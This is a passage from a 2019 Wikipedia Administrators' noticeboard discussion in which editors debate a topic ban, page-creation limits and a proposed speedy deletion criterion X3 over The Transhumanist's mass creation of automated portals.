::Northamerican1000 should also be banned from creating more portals. Creating automated navbox portals that overlap existing portal topics is not cool. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 01:46, 16 March 2019 (UTC)
:::You need to stop scolding everybody who has ever created a portal. I have breached no policies. <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 02:18, 16 March 2019 (UTC)
::::Au contraire: North, you need to desist from defending this flood of portalspam. Consensus is now clear that it has gone way too far, and a year ago at [[WP:ENDPORTALS]] was very clear that a significant minority of editors supported deleting all portals, while many more supported a purge., Instead you and some others went a spree in the opposite direction. That was at best reckless; at worst, it was wilful disregard of consensus [[WP:CONSENSUS]]. And [[WP:CONSENSUS]] is core policy, so don't push your luck. The guideline [[WP:DE]] is also relevant. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 02:27, 16 March 2019 (UTC)
:::::The handful of portals I have created is certainly not a spree. Tired of this typecasting and [[WP:ASPERSIONS]] against any and all portal content creators. Does nothing to improve the encyclopedia. My !vote is regarding the matter at hand regarding TTH; that's it. <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 02:32, 16 March 2019 (UTC)
::::::Tired of you defending the indefensible, and then claiming victimhood when challenged. Portals are ''not'' content, they are a navigational device ... and defending a spammer does nothing to improve the encyclopedia. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 02:46, 16 March 2019 (UTC)
*'''Oppose''' TTH stopped created portals when asked and has not resumed since. A topic ban is not needed to stop disruption and imposing one about three weeks after they stopped would be punitive in the extreme. I am though deeply troubled by the personal attacks from some very experienced editors above. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 11:52, 16 March 2019 (UTC)
*'''Oppose''' as unnecessary, two weeks after it was proposed. As I understand it, there were multiple editors involved in this effort, so I don't see why we'd TBAN just one. AFAIK the editor at issue has so far kept their promise to stop making portals for the last two weeks. There's no need for a tban right now, as evidenced by the fact that we've had two weeks of discussion on this topic without a tban in place. Nuke the content, not the editor. Of course, that's based on the voluntary self-ban continuing to be observed. If that were to change, so would my !vote. {{nao}} [[User:Levivich|Leviv]] <span style="display:inline-block;transform:rotate(45deg);position:relative;bottom:-.57em;">[[User talk:Levivich|ich]]</span> 17:11, 16 March 2019 (UTC)
==== Lack of good faith from [[User:The Transhumanist]] ====
I posted above[https://en.wikipedia.org/w/index.php?title=Wikipedia:Administrators%27_noticeboard&diff=887974227&oldid=887973757] to dissent from {{yo|UnitedStatesian|p=}}'s assertion that {{lu|The Transhumanist}} has been acting in good faith.
I have just encountered a further small example, from today, of TTH's bad faith. In this case, TTH added[https://en.wikipedia.org/w/index.php?title=Portal:University_of_Fort_Hare&diff=887980040&oldid=887973431] the <code><nowiki>nostubs=no</nowiki></code> parameter to [[Portal:University of Fort Hare]], contrary to the general consensus that stubs should not be included in a portal's article lists. I see no evidence that TTH sought a consensus to do so ... and the change was was sneaky, because the edit summary {{tq|add parameter}} did not disclose the nature of the change.
Since that portal is being discussed at [[Wikipedia:Miscellany for deletion/Portal:University of Fort Hare|Portal:University of Fort Hare|MFD: Portal:University of Fort Hare]], the change should have been disclosed there.
That edit was of course only a small thing, and it has no practical effect because the sum total of non-biographical articles about [[University of Fort Hare]] is 1 (the head article). But at this stage, if TTH was acting with any good faith at all, the appropriate way to demonstrate it would have been to support prompt deletion of this portal-to-nowhere, rather than trying to expand its scope into stubs.
I have just checked the last 3 weeks of TTH's contribs, and have found precisely zero instances where TTH has supported the deletion of even the most ridiculously tiny-scope portal which they have created, let alone any instance where they assisted the cleanup by identifying and CSD/MFDing inappropriate creations.
I could understand that at this stage TTH might feel dejected by the deprecation of their portalspamming, and prefer to walk away from the topic ... but that explanation for inaction is undermined by a sneaky attempt to rescue a useless portal by adding stubs to its topic list. This breaches the spirit, if not the letter, of the self-restraint which TTH had promised. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 22:15, 16 March 2019 (UTC)
{{abot}}
===Proposal 2 - Indefinite ban on page creation ===
{{collapse top|withdrawn}}
{{archive top|insufficient support for this idea. Withdraw [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 13:36, 1 March 2019 (UTC)}}
Helpful comments above lead me to these numerous Drafts by [[User:The Transhumanist]] (ranging from 1 to 12 years old) => [[Wikipedia:WikiProject_Outlines#Outline_starts:]].
This is an obsession with mass creation of content no one wants. He has been creating hundreds of useless pages for years and at least 3500 useless automated Portals in the last few months. He has used up his allotment of lifetime page creations on Wikipedia and has a maintenance job to do now on his creations. He should also be working on removal of these useless pages. Therefore I propose a TBAN on page creations in all namespaces, and a TBAN on moves of pages into Mainspace or Portalspace (to prevent the moving of presetup but now empty existing drafts into mainspace), with the following exceptions: Starting an XfD (so he can assist in cleaning yup his mess) and talkpages of other users (for vandal warning etc so he can maintain quality on his creations) and talkpages in general of any existing page. TBAN may be appealed to AN which would want to approve a specific plan for the types of pages he wants to create.
*'''Support''' as proposer [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 10:44, 1 March 2019 (UTC)
*'''Oppose''' in current form - {{tq|a TBAN on page creations in all namespaces}} is too drastic, give how many [[WP:NS|other namespaces]] that cuts off. I can understand prohibition on mainspace, portalspace, wikipedia space, or even userspace. But TTH not being able to start talk pages? To upload files? To start community books? That's unnecessary. --[[User:DannyS712|DannyS712]] ([[User talk:DannyS712|talk]]) 10:57, 1 March 2019 (UTC)
*:I explicitly exempted talkpages of users but modified so all talkpages could be allowed. If he wants to create 500 books he should get permission. If there is a desire to create articles, he could ask for a relaxation, going through AfC for example, but with a preapproved plan. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 11:06, 1 March 2019 (UTC)
*'''Oppose''' This seems overbroad, locking down the English Wikipedia over one user. --<span style="text-shadow:#FFD700 0.2em 0.2em 0.2em">[[User:Auric|<span style="color: #FC3700;">'''Auric'''</span>]] [[User talk:Auric|<span style="color: #0C0F00;">''talk''</span>]]</span> 11:20, 1 March 2019 (UTC)
*:Umm, this user has a long history of mass page creations. When people object he says no one told him he could not do it. A restriction would not prevent him from creating pages, it would just require him to get the plan preapproved. I don't know what crazy idea he might try next, so block everything except what he gets the community to agree to first. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 11:26, 1 March 2019 (UTC)
*::The problem isn’t page creation, it’s MASS page creation (usually using automated tools). Essentially, TTH routinely sacrifices quality for the sake of volume. It is the focus on volume that needs addressing. [[User:Blueboar|Blueboar]] ([[User talk:Blueboar|talk]]) 12:20, 1 March 2019 (UTC)
*:::Yes MASS creation. We don't know what he will MASS create next, so let him propose what he wants to create BEFORE he creates it. If his idea is reasonable, great, but if not we save a ton of work and drama. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 12:24, 1 March 2019 (UTC)
*::::So why does the original proposal not ban him from mass creation? --[[User:Izno|Izno]] ([[User talk:Izno|talk]]) 13:07, 1 March 2019 (UTC)
*::::::Because 3500 pages [https://en.wikipedia.org/wiki/User_talk:CASSIOPEIA/Archive_17#Creating_portals] is not Mass Creation according to his post near the top of the VPP thread: "Please clarify what you mean by "mass creation"; the figure provided above is less than 10 new pages per day per editor, which has never been considered mass creation by any WP standard. Also, please clarify what you mean by "semi-automated", since all software programs, including Wikipedia's internal text editor, may be considered semi-automated. Thank you. — The Transhumanist 19:25, 26 February 2019 (UTC)"[https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(proposals)#Hiatus_on_mass_creation_of_Portals] [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 13:16, 1 March 2019 (UTC)
*'''Oppose''' - the problem is limited to the Portal: namespace; there is no evidence provided that there is a problem in any other namespace (I disagree with the foregone conclusion presented about outlines). This is overreaching by a wide margin. [[User:Ivanvector|Ivanvector]] (<sup>[[User talk:Ivanvector|Talk]]</sup>/<sub>[[Special:Contributions/Ivanvector|Edits]]</sub>) 13:33, 1 March 2019 (UTC)
{{Archive bottom}}
{{collapse bottom}}
===Proposal 3: Relax tagging and notification requirements for Grouped Portal MfDs===
{{collapse top|Withdrawn in favor of Proposal 4}}
{{Archive top|Housekeeping withdraw in favor of Proposal 4 [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 13:57, 12 March 2019 (UTC)}}
Creating group MfDs for portals is almost as hard as creating one of these portals. If you use twinkle it creates a bunch of redundent discussion pages and floods the creator's talkpage with templates. TheTranshuminist is insisting every page in a group nomination be tagged for deletion [https://en.wikipedia.org/w/index.php?title=Wikipedia%3AMiscellany_for_deletion%2FPortals_for_Portland%2C_Oregon_neighborhoods&type=revision&diff=885793154&oldid=885760666]. He is technically correct, but this generates a lot of extra work for no real benefit. Notifying the creator with the first nom in the group should be sufficient. It is not like there are tons of editors with a vested interest in an [[Wikipedia:Miscellany_for_deletion#Districts_of_India_Portals| a given district of India portal]]. I expect there will be a few more group nominations so addressing this will speed this up. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 18:06, 2 March 2019 (UTC)
:Well, there is no notification ''requirement'' that I'm aware of , so I think you can consider that relaxed. Tagging however, is usually considered a hard-and-fast requirement. It isn't exactly fair to discuss deleting a page while not giving any indication to users watching that page. [[User:Beeblebrox|Beeblebrox]] ([[User talk:Beeblebrox|talk]]) 18:13, 2 March 2019 (UTC)
:: But in this particular case, there is no realistic expectation that there are any page watchers to begin with, other than the single individual who created them all. [[User:Future Perfect at Sunrise|Fut.Perf.]] [[User talk:Future Perfect at Sunrise|☼]] 18:19, 2 March 2019 (UTC)
:::Perhaps any change to the requirements should wait until until it has been agreed which topics merit a portal. There is no urgent need to carry out a mass deletion before deciding what to keep. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 18:22, 2 March 2019 (UTC)
::::Grouped MfDs create precedent and help us create policy based on the result. For example if 20+ District of India portals are deleted at MfD a precident against creation of 690 more such portals has been established. Similarly an effort to create portals on all the counties in the US or regional districts in Canada would be easier to shut down.
::::Given how we found two recently automated now broken portals linked off the Mainpage, is the creator even watching them?
::::The Neelix situation creates precedent for this relaxation. We went even further there and dispensed with discussion. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 18:28, 2 March 2019 (UTC)
:::::Thanks for the clarification. Grouping portals which are clearly going to stand or fall together, such as districts of India, makes sense. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 18:38, 2 March 2019 (UTC)
'''Oppose.''' Tagging is a requirement, notification is not. And I just completed tagging on all of the Districts of India that are in the bundled nom. Assuming the current crop of MfD's close as delete, the solution is to propose a temporary [[WP:CSD|speedy deletion criterion]] X3. [[User:UnitedStatesian|UnitedStatesian]] ([[User talk:UnitedStatesian|talk]]) 00:47, 3 March 2019 (UTC)
: Those portals aren't representative, they're fringe cases. The set of new portals include a wide range of scope, for example, and many had additional work done on them. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 01:45, 3 March 2019 (UTC)
:: What do you mean by "fringe cases" and "representative"? They seem very representative to me. [[User:UnitedStatesian|UnitedStatesian]] ([[User talk:UnitedStatesian|talk]]) 03:58, 3 March 2019 (UTC)
'''Oppose''' – Any readers of a page that's up for deletion has a right to know that the page may go bye bye, and that's why the deletion policy requires notice. There's no need to create a separate MfD page for each page being nominated for deletion. Posting a notice on each page that leads directly to the same discussion is easy. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 01:45, 3 March 2019 (UTC)
*'''Oppose''' - As [[User:UnitedStatesian]] says, we need X3. [[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 04:11, 3 March 2019 (UTC)
* The is no need to relax anything. Mass tagging and mass notification is no great issue. If the consensus is that they should all be deleted, Feds them all through mfd in one list. Ask The Transhumanist to tag and notify. I trust that he will cooperate. Stop the panic. —[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 11:27, 4 March 2019 (UTC)
{{Archive bottom}}
{{collapse bottom}}
=== Concerning further proposals ===
{{atop|This is a central community noticeboard, which carries no less inherent validity than VPP. This is the relevant discussion, and as long as wide-reaching proposals are properly advertised to the community, it makes no difference whether they're listed here or at VPP. Wikipedia is [[WP:NOTBUREAU|not a bureaucracy]], and petty procedural objections can never override the process of consensus-building. Please focus on the discussions themselves, rather than meta-discussions regarding procedure. [[User:Swarm|<span style="color:Green">'''~Swarm~'''</span>]] [[User talk:Swarm|<span style="color:DarkViolet">'''{talk}'''</span>]] 05:22, 17 March 2019 (UTC)}}
The proper venue for proposals is [[Wikipedia:Village pump (proposals)]]. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 01:49, 3 March 2019 (UTC)
::AN is a perfectly good place for many kinds of proposal. With over 300,000 edits and many years here you should know better. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 03:51, 3 March 2019 (UTC)
::: AN is not the proper place for a proposal on regulating content (referring to portals loosely as content). The way forward does not require administrative action, TTH will respect consensus. —[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 12:18, 4 March 2019 (UTC)
::::@[[User:SmokeyJoe|SmokeyJoe]], I admire your AGF, but I think it is wildly misplaced.
::::This whole drama arose because after a far-from-unanimous RFC consensus not to actually delete the whole portal namespace, TTH chose to invert the meaning of that consensus to "create thousands of crappy new semi-automated microportals at a rate of up 40 per hour" ... and then go batshit raging at anyone who MFed some of the junk or pointed out that the consensus was ''not'' actually for a pressure hose of portalspam.
::::I don't know whether TTH has comprehension issues or just disdains the consensus, but I don't see any other explanation for the last year of TTH antics ... and either way, I see zero reason to expect that TTH will {{tq|respect consensus}}. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 10:50, 15 March 2019 (UTC)
::::: I’ve known TTH for a long time, although I have never worked with him. He always seemed perfectly reasonable, and really interested in a very worthwhile thing, navigation aids. There’s no problem there. I haven’t followed portal discussions closely, but I have never seen TTH rude or obstinate or disdainful. There must have been a misapprehension. I encouraged him to make auto-portals, and he did, and now he is trouble for it. I think the answer is at [[WT:Bots]]. AN should not be for making and implementing portal-specific proposals, the proposals should be directed at TTH. Follow the Bot process for any auto-portal creation. Do not create any new portals without an approved bot. That sort of thing. —[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 12:03, 15 March 2019 (UTC)
:'''Wrong venue''' In the nutshell at the top in read mode, and again in bold and red in the edit window, the words scream '''This noticeboard is for <span style="color:red">issues affecting administrators generally</span> – announcements, notifications, information, and other matters of general administrator interest.'''. What we have here is a big idea involving the work of everyone. At most there should be a pointer diff here at AN. [[User:NewsAndEventsGuy|NewsAndEventsGuy]] ([[User talk:NewsAndEventsGuy|talk]]) 12:02, 6 March 2019 (UTC)
As I see it the reason this ended up here is because the initial proposal was for a topic ban, which is AN material. The other related proposals were put here for convenience. At any rate it’s not grounds for a procedural close. —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 01:26, 11 March 2019 (UTC)
* This is absolutely the wrong venue, since this is not an "issue affecting administrators generally", it's a proposal (actually a pile of confused and confusing proposals – "I'm not getting my way in version A, so try version B. Nope? Okay, how about C? No? Then here's proposal D ...") that would affect the entire project, and is essentially a content-presentation and navigation matter, not an administrator matter of any kind. This is basically a variant of forum shopping, where instead of moving to a different venue, the idea is dressed up in a new outfit and put before the same venue over and over. The wrong venue. (And is actually regular forum-shopping, too, since we just had a big RfC about this last year.) [[WP:VPPOL]] is the place for something like this, especially since one of the various competing proposals includes making changes to [[WP:CSD]] policy, something we very, very rarely touch and only after considerable site-wide debate and a clear community consensus that it's required and will not have unintended negative consequences (ever noticed that the sequence of lettered and numbered CSD criteria has gaps in it? The community has revoked several CSD criteria as going too far). CSD is pretty much our most dangerous policy. <span style="white-space:nowrap;font-family:'Trebuchet MS'"> — [[User:SMcCandlish|'''SMcCandlish''']] [[User talk:SMcCandlish|☏]] [[Special:Contributions/SMcCandlish|¢]] 😼 </span> 16:59, 14 March 2019 (UTC)
::Yeah, if I were the one starting this, I would’ve put it on one of the village pumps. At any rate it’s on [[T:CD]] now so it will be seen by those who frequent the village pumps (though it won’t show up on watchlists). Also, only two out of the nine [[WP:OCSD|deprecated CSDs]] were repealed for “going too far”. 6/9 were removed because they were redundant and they were folded into other CSDs. This leaves CSD X1, the prototype for the CSD X3 proposal, which was repealed at the conclusion of the Neelix redirect cleanup. —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 19:24, 15 March 2019 (UTC)
{{abot}}
===Proposal 4: Provide for [[WP:CSD|CSD]] criterion X3===
{{atop|Clearly both sides feel strongly about this question and both have advanced reasonable arguments. Those in favour typically cite the large amount of community effort required to clean up these portals through the normal MfD process, while those against often do not want to see useful content thrown out with the useless. There is also a significant minority who see a need for ''some'' fast-track process to avoid wasting community time, but think that this proposal goes too far. As it seems likely that a less-aggressive proposal would gain the support of most of the supporters as well as a large segment of those opposed, the arguments in opposition seem somewhat stronger. So, while there is a small majority in favour of the change, there is '''no consensus''' for it. [[User:GoldenRing|GoldenRing]] ([[User talk:GoldenRing|talk]]) 10:28, 4 April 2019 (UTC)}}
<small>{{admin comment}} This proposal is being advertised at [[WP:VPP]] and [[WP:CD]], and it has been requested that it stay open for at least 30 days. [[User:Swarm|<span style="color:Green">'''~Swarm~'''</span>]] [[User talk:Swarm|<span style="color:DarkViolet">'''{talk}'''</span>]] 05:14, 17 March 2019 (UTC)</small>
----
I am entering and numbering this proposal in order to get it into the record, but am requesting that action on it be deferred until the current round of MFDs are decided.
As per [[User:UnitedStatesian]], Create [[WP:CSD|Criteria for Speedy Deletion]] criterion X3, for portals created by [[User:The Transhumanist]] between April 2018 and March 2019. Tagging the portals for speedy deletion will provide the notice to users of the portals, if there are any users of the portals. I recommend that instructions to administrators include a request to wait 24 hours before deleting a portal. This is a compromise between the usual 1 to 4 hours for speedy deletion and 7 days for XFD. The availability of Twinkle for one-click tagging will make it easy to tag the pages, while notifying the users (if there are any). [[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 04:21, 3 March 2019 (UTC)
: This proposal should be posted in a wider venue, such as [[WP:VPR]] or [[WP:MFD]]. Many of those portals have been in place for months, making WP:AN too narrow a venue for them. CSD notices wouldn't be placed until after the discussion is over, and therefore would not serve to notify the users of those portals of the discussion. A notice to the discussion of this proposal, since it is a deletion discussion, should be placed on each of the portals, to allow their readers to participate in the discussion. The current round of MfDs are not a random sampling of the portals that were created, and therefore are not necessarily representative of the set. The portals themselves vary in many ways, including scope, the amount of time they've been accessed by readers, quality, number of features, picture support, volume of content, amount of work that went into them, number of editors who worked on them, length, readership, etc. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 07:09, 3 March 2019 (UTC)
::How would you suggest to get a representative sample? [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 07:20, 3 March 2019 (UTC)
::: Thank you for asking. That would be difficult now, since there are already a bunch of portals nominated for MfD. If those were included, then the sample would already be skewed. I expect a truly random sample would reveal that some portals are worth keeping and others are not. A more important question would be "How would we find the portals worth keeping? Which is very similar to the question "what should the creation criteria for portals be?", the very thing they are discussing at the portal guidelines page right now. Many of these portals may qualify under the guideline that is finally arrived upon there. For example, they are discussing scope. There are portals of subjects that fall within Vital articles Level 2, 3, 4, and 5, and there are many portals of subjects of similar scope to the subjects at those levels. And many of the portals had extra work put into them, and who knows how many had contributions by other editors besides me. Another factor is, that the quality of the navigation templates the portals are powered by differs, and some of the portals are powered by other source types, such as lists. Some have hand-crafted lists, as there are multiple slideshow templates available, one of which accepts specific article names as parameters. Another way to do that is provide a manual list in the subtopics section and power the slideshow from that. Some of the portals are of a different design than the standard base template. Some are very well focused, contextually, while others are not. For example, some of the portals have multiple excerpt slideshows to provide additional context. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 07:46, 3 March 2019 (UTC)
*'''Support''' in principle. Looking at the existing MFD discussions, TTH seems determined to drag and wikilawyer as much as possible to try to derail the discussions, even for blatantly and indefensibly inappropriate microportals like those discussed at [[Wikipedia:Miscellany for deletion/Portals for Portland, Oregon neighborhoods]]; it's not a good use of anyone's time to go through the same timesink 5000+ times. (The cynic in me says that a speedy criterion wouldn't work as while the creators wouldn't be able to decline the templates themselves, TTH and Dreamy Jazz would probably just follow the tagger around removing the speedy templates from each other's creations.) In practice, it would probably be more efficient to do what we did with Neelix and have a streamlined MFD nomination process, in which "created by TTH" is considered sufficient grounds for deletion at MFD and they default to delete unless someone can make a strong argument for keep. MFD is less gameable and also gives a space for people to defend them in those rare cases where they're actually worth keeping. (Every time I look, I find that the flood of inane and pointless TTH portals has spread further than I thought; [[Portal:Intermodal containers|shipping containers portal]], anyone?) ‑ [[User:Iridescent|Iridescent]] 08:26, 3 March 2019 (UTC)
*:Dreamy Jazz seems unlikely do that, having already decided during this debate to stop donating their time to Wikipedia. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 18:06, 3 March 2019 (UTC)
* '''Comment''' – Another option would be to move these to draft space. The templates and lua modules could be modified so that the portals render right in that namespace (I wish I would have thought of this before). Being in draft space would give time to fix their various problems (keeping in mind that micro-scope is not fixable), and identify the ones worth keeping. I would agree not to move any of them personally, and would propose/request such moves after the new creation criteria guidelines for portals are settled upon. I would also be willing to tag those that did not meet those guidelines with CSD (as creator), saving Legacypac the trouble of nominating them at MfD (he mentioned somewhere that he thought I should help clean up this "mess"). Another benefit of this strategy is that if any of them sit in draft space too long without further development, they automatically become subject to deletion per the draft space guidelines, and those that reach that age without any edits can be deleted en masse without time-consuming effort-wasting MfD discussions. This course of action would of course need the participation of some lua programmers to add the necessary functionality to the modules, which would be a good upgrade for those, to allow for portal drafts to be created in the future. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 09:15, 3 March 2019 (UTC)
:: P.S. {{ping|Iridescent|Legacypac}} (pinging) <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 09:28, 3 March 2019 (UTC)
:*Absolutely not. The problem is that hundreds of portals on obscure topics makes an unmaintainable mess. Passing it to another namespace does not solve the problem which is that the portals are not helpful and are not maintainable. Automated creation of outlines/portals/anything must stop. [[User:Johnuniq|Johnuniq]] ([[User talk:Johnuniq|talk]]) 09:36, 3 March 2019 (UTC)
:*No. I tried moving one broken portal to Draft as a test and it broke even more stuff. Not worth the effort to modify everything for draft space and then let the same little group of editors release them willy nilly back into portal space. Since this group ignored their own [[Wikipedia:Portal/Guidelines]] "''portals should be about broad subject areas, which are likely to attract large numbers of interested readers and portal maintainers.''" why should anyone trust them to follow stricter guidelines? [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 09:57, 3 March 2019 (UTC)
:*Definitely not. What possible benefit would there be to cluttering up another namespace with ≈5000 pages that will never serve any useful purpose? If you want to goof around with wikicode, nobody's stopping you installing your own copy of Mediawiki; we're not your personal test site. ‑ [[User:Iridescent|Iridescent]] 15:38, 3 March 2019 (UTC)
:*As a general rule, Portal pages should '''not''' be draftified. In fact, we should not usually move anything not designed to be an article to draft space. Draft portals should be in portal space, just like draft books should be in book space and draft templates in template space (pages with subpages are a pain to move, and many namespaces have special features that suggest keeping drafts in the same space if possible). If a portal is not ready for viewing by the general public, tag it with a relevant maintenance template and make sure it is not linked to from mainspace or from other portal pages.
:*In the case at hand, TT's mass created portals do not seem like they will all be soon made ready for wider consumption, so deleting them seems the better option. —'''[[User:Kusma|Kusma]]''' ([[User talk:Kusma|t]]·[[Special:Contributions/Kusma|c]]) 20:15, 3 March 2019 (UTC)
*'''Support''' nuking from orbit: It's the only way to be sure. [[User:Serial Number 54129|<span style="color:black">'''——'''</span>]][[Special:Contributions/Serial Number 54129|<span style="color:black">''SerialNumber''</span>]][[User talk:Serial Number 54129|<span style="color:#8B0000">54129</span>]] 09:32, 3 March 2019 (UTC)
:*How is this the "only way" to be "sure"? What about actually viewing the portals themselves, as opposed to mass deleting them all sight unseen? <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 03:08, 26 March 2019 (UTC)
*'''Support''' enough with the wikilawyering and obstruction. This proposal is a little too narrow though - TTH created 3500+ automated portals but others in his little team created around 1000 more. I just grouped some by [[User:Dreamy Jazz]] into [[Wikipedia:Miscellany_for_deletion#US_County_Portals]] [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 09:57, 3 March 2019 (UTC)
*'''Support''' These useless broken portals have to go. [[User:CoolSkittle|<span style="background-color: blue; color: orange">CoolSkittle</span>]] ([[User talk:CoolSkittle|talk]]) 14:54, 3 March 2019 (UTC)
:*Could you provide any evidence that all of the portals are "broken"? Many of them that I have viewed and used are fully functional, and not broken at all. <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 03:09, 26 March 2019 (UTC)
*'''Support''', too many, too quickly, not enough thought went into their creation. Nuke these, revert other portals that were better before TTH "restarted" them. Automation should help with portal maintenance, not replace portal maintenance or move the maintenance burden to navboxes or other places. —'''[[User:Kusma|Kusma]]''' ([[User talk:Kusma|t]]·[[Special:Contributions/Kusma|c]]) 14:57, 3 March 2019 (UTC)
*'''Support''', sensible and fair way to deal with these. [[User:Johnbod|Johnbod]] ([[User talk:Johnbod|talk]]) 16:53, 3 March 2019 (UTC)
*'''Support''': [[WP:MFD|MFD]] could never handle the overwhelming amount of unnecessary and unsustainable portals, considering the magnitude of TTH's portal creation entering the thousands. –''[[User:EggOfReason|eggofreason]]''<sup>[[User talk:EggOfReason|talk]]</sup> 20:12, 3 March 2019 (UTC)
*'''Support''' nuking. [[User:Beyond My Ken|Beyond My Ken]] ([[User talk:Beyond My Ken|talk]]) 20:30, 3 March 2019 (UTC)
* Transcluded to [[Wikipedia talk:Criteria for speedy deletion]]. [[User:Pppery|{{3x|p}}ery]] ([[User talk:Pppery|talk]]) 20:31, 3 March 2019 (UTC)
*'''Support''' mass creation of portals on these topics isn't appropriate without wider discussion, and the automated/semi-automated method used to create them doesn't produce high quality output. [[Portal:Sierra County, California]], for example, is about a county with a population of 3,240, and consists of the lead of the main article, a few random contextless images grabbed from that article (mostly maps or logos) and portal boilerplate. Cleaning these up will require a temporary speedy deletion criterion, I don't think MfD could handle the load. '''''[[User:Hut 8.5|<span style="color:#FF0000;">Hut 8.5</span>]]''''' 22:25, 3 March 2019 (UTC)
*'''Support''' as proposer. I had already suggested deferring, but am satisfied that it is going ahead to mass-delete. I will add that, after a consensus is reached on whether and how to use portals, any that were deleted and are needed are available at [[WP:REFUND|Requests for Undeletion]]. [[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 01:01, 4 March 2019 (UTC)
* This mass page creation went against [[WP:MEATBOT]] and at least the spirit of [[WP:MASSCREATION]] if not the letter. An appropriate remedy for automated script and semi-automated creation is speedy deletion. Did you know they were driving for 10,000 portals at a rapid pace? It's here [https://en.wikipedia.org/wiki/User_talk:The_Transhumanist#Wikipedia:WikiProject_Portals_update_#029,_13_Feb_2019] [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 04:44, 4 March 2019 (UTC)
* '''Oppose''' any and all notions of creating new CSD criteria at any drama board. Discussions here are too rushed, too emotive, too reactionary. Use [[WT:CSD]]. Consider using a WT:CSD subpage RfC. Do not attempt to mandate the detail of policy from a drama board. --[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 04:52, 4 March 2019 (UTC) Transclusion is not good enough. The discussion needs to be searchable from WT:CSD, and the specifics of any and all new criteria need to address the [[Wikipedia_talk:Criteria_for_speedy_deletion/Header|Criteria for a new CSD criterion]]. --[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 04:55, 4 March 2019 (UTC)
::Many editors at the Village Pump discussion, the Tban discussion above, and at MfDs also supported this. We do not need to fragment this discussion further. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 05:12, 4 March 2019 (UTC)
::: Proposal 1 will make this Proposal 4 moot. This Proposal 4 is not a proper CSD implementation. --[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 05:41, 4 March 2019 (UTC)
::::{{reply|SmokeyJoe}} Proposal 1 is about stopping TTH from creating new portals. Proposal 4 is about deleting those he created in the last couple of months. How is P1 going to make P4 moot? —'''[[User:Kusma|Kusma]]''' ([[User talk:Kusma|t]]·[[Special:Contributions/Kusma|c]]) 10:19, 4 March 2019 (UTC)
